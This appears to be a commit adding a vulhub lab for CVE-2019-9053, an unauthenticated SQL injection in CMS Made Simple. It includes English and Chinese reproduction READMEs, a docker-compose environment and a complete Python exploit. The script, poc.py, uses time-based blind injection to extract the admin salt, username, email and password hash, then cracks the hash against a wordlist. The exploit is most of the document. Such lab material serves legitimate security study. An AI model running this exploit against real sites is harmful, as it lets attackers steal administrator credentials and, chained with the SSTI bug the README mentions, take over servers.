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cmsms/CVE-2019-9053/README.md

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+# CMS Made Simple (CMSMS) < 2.2.10 Unauthenticated SQL Injection (CVE-2019-9053)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+CMS Made Simple (CMSMS) is a free, open source content management system to provide developers, programmers and site owners a web-based development and administration area.
+
+In the version prior to 2.2.9.1, CMS Made Simple was affected by a unauthenticated SQL injection attack, which attacker is able to gain the administrator's password or password reset token. Combining the authenticated SSTI issue ([CVE-2021-26120](https://github.com/vulhub/vulhub/tree/master/cmsms/CVE-2021-26120)), could allow an attacker to execute arbitrary code on the target server.
+
+References:
+
+- <https://www.exploit-db.com/exploits/46635>
+- <https://srcincite.io/pocs/cve-2021-26120.py.txt>
+
+## Vulnerable Environment
+
+Execute following command to start a CMS Made Simple 2.2.9.1:
+
+```
+docker compose up -d
+```
+
+After the server is started, you should install the CMS at `http://your-ip/install.php`.
+
+Following the install instructions to install the CMSMS, MySQL database address is `db`, database name is `cmsms`, username and password are both `root`.
+
+![](1.png)
+
+## Exploit
+
+Use the script on <https://www.exploit-db.com/exploits/46635> to exploit the SQL injection vulnerability:
+
+```
+python2 poc.py -u http://127.0.0.1
+```
+
+![](2.png)
+
+As you can see, the administrator's password is exposed by SQL injection.

cmsms/CVE-2019-9053/README.zh-cn.md

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+# CMS Made Simple (CMSMS) < 2.2.10 前台SQL注入漏洞（CVE-2019-9053）
+
+CMS Made Simple（CMSMS）是一个免费的开放源码内容管理系统，为开发人员、程序员和网站所有者提供基于网络的开发和管理功能。
+
+在 2.2.9.1 之前的版本中，CMS Made Simple 存在一个未验证的 SQL 注入漏洞，攻击者可利用该漏洞获取管理员密码或密码重置令牌。结合后台的 SSTI 漏洞（[CVE-2021-26120](https://github.com/vulhub/vulhub/tree/master/cmsms/CVE-2021-26120)），攻击者可在目标服务器上执行任意代码。
+
+参考链接：
+
+- <https://www.exploit-db.com/exploits/46635>
+- <https://srcincite.io/pocs/cve-2021-26120.py.txt>
+
+## 漏洞环境
+
+执行如下命令启动一个CMS Made Simple 2.2.9.1服务器：
+
+```
+docker compose up -d
+```
+
+环境启动后，你需要访问`http://your-ip/install.php`并安装CMS服务。
+
+安装过程请根据页面中的安装向导来进行，其中MySQL数据库的地址是`db`，数据库名是`cmsms`，账号和密码均为`root`。
+
+![](1.png)
+
+## 漏洞复现
+
+使用<https://www.exploit-db.com/exploits/46635>中的脚本来利用SQL注入漏洞：
+
+```
+python2 poc.py -u http://127.0.0.1
+```
+
+![](2.png)
+
+可见，管理员密码已经被该脚本获取。

cmsms/CVE-2019-9053/docker-compose.yml

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+version: '2'
+services:
+  web:
+    image: vulhub/cmsms:2.2.9.1
+    ports:
+     - "80:80"
+    depends_on:
+     - db
+  db:
+   image: mysql:5.7
+   environment:
+    - MYSQL_ROOT_PASSWORD=root
+    - MYSQL_DATABASE=cmsms

cmsms/CVE-2019-9053/poc.py

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+#!/usr/bin/env python2
+# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
+# Date: 30-03-2019
+# Exploit Author: Daniele Scanu @ Certimeter Group
+# Vendor Homepage: https://www.cmsmadesimple.org/
+# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
+# Version: <= 2.2.9
+# Tested on: Ubuntu 18.04 LTS
+# CVE : CVE-2019-9053
+
+import requests
+from termcolor import colored
+import time
+from termcolor import cprint
+import optparse
+import hashlib
+
+parser = optparse.OptionParser()
+parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
+parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
+parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
+
+options, args = parser.parse_args()
+if not options.url:
+    print "[+] Specify an url target"
+    print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
+    print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
+    print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
+    exit()
+
+url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
+session = requests.Session()
+dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
+flag = True
+password = ""
+temp_password = ""
+TIME = 1
+db_name = ""
+output = ""
+email = ""
+
+salt = ''
+wordlist = ""
+if options.wordlist:
+    wordlist += options.wordlist
+
+def crack_password():
+    global password
+    global output
+    global wordlist
+    global salt
+    dict = open(wordlist)
+    for line in dict.readlines():
+        line = line.replace("\n", "")
+        beautify_print_try(line)
+        if hashlib.md5(str(salt) + line).hexdigest() == password:
+            output += "\n[+] Password cracked: " + line
+            break
+    dict.close()
+
+def beautify_print_try(value):
+    global output
+    print "\033c"
+    cprint(output,'green', attrs=['bold'])
+    cprint('[*] Try: ' + value, 'red', attrs=['bold'])
+
+def beautify_print():
+    global output
+    print "\033c"
+    cprint(output,'green', attrs=['bold'])
+
+def dump_salt():
+    global flag
+    global salt
+    global output
+    ord_salt = ""
+    ord_salt_temp = ""
+    while flag:
+        flag = False
+        for i in range(0, len(dictionary)):
+            temp_salt = salt + dictionary[i]
+            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
+            beautify_print_try(temp_salt)
+            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
+            url = url_vuln + "&m1_idlist=" + payload
+            start_time = time.time()
+            r = session.get(url)
+            elapsed_time = time.time() - start_time
+            if elapsed_time >= TIME:
+                flag = True
+                break
+        if flag:
+            salt = temp_salt
+            ord_salt = ord_salt_temp
+    flag = True
+    output += '\n[+] Salt for password found: ' + salt
+
+def dump_password():
+    global flag
+    global password
+    global output
+    ord_password = ""
+    ord_password_temp = ""
+    while flag:
+        flag = False
+        for i in range(0, len(dictionary)):
+            temp_password = password + dictionary[i]
+            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
+            beautify_print_try(temp_password)
+            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
+            payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
+            url = url_vuln + "&m1_idlist=" + payload
+            start_time = time.time()
+            r = session.get(url)
+            elapsed_time = time.time() - start_time
+            if elapsed_time >= TIME:
+                flag = True
+                break
+        if flag:
+            password = temp_password
+            ord_password = ord_password_temp
+    flag = True
+    output += '\n[+] Password found: ' + password
+
+def dump_username():
+    global flag
+    global db_name
+    global output
+    ord_db_name = ""
+    ord_db_name_temp = ""
+    while flag:
+        flag = False
+        for i in range(0, len(dictionary)):
+            temp_db_name = db_name + dictionary[i]
+            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
+            beautify_print_try(temp_db_name)
+            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
+            url = url_vuln + "&m1_idlist=" + payload
+            start_time = time.time()
+            r = session.get(url)
+            elapsed_time = time.time() - start_time
+            if elapsed_time >= TIME:
+                flag = True
+                break
+        if flag:
+            db_name = temp_db_name
+            ord_db_name = ord_db_name_temp
+    output += '\n[+] Username found: ' + db_name
+    flag = True
+
+def dump_email():
+    global flag
+    global email
+    global output
+    ord_email = ""
+    ord_email_temp = ""
+    while flag:
+        flag = False
+        for i in range(0, len(dictionary)):
+            temp_email = email + dictionary[i]
+            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
+            beautify_print_try(temp_email)
+            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
+            url = url_vuln + "&m1_idlist=" + payload
+            start_time = time.time()
+            r = session.get(url)
+            elapsed_time = time.time() - start_time
+            if elapsed_time >= TIME:
+                flag = True
+                break
+        if flag:
+            email = temp_email
+            ord_email = ord_email_temp
+    output += '\n[+] Email found: ' + email
+    flag = True
+
+dump_salt()
+dump_username()
+dump_email()
+dump_password()
+
+if options.cracking:
+    print colored("[*] Now try to crack password")
+    crack_password()
+
+beautify_print()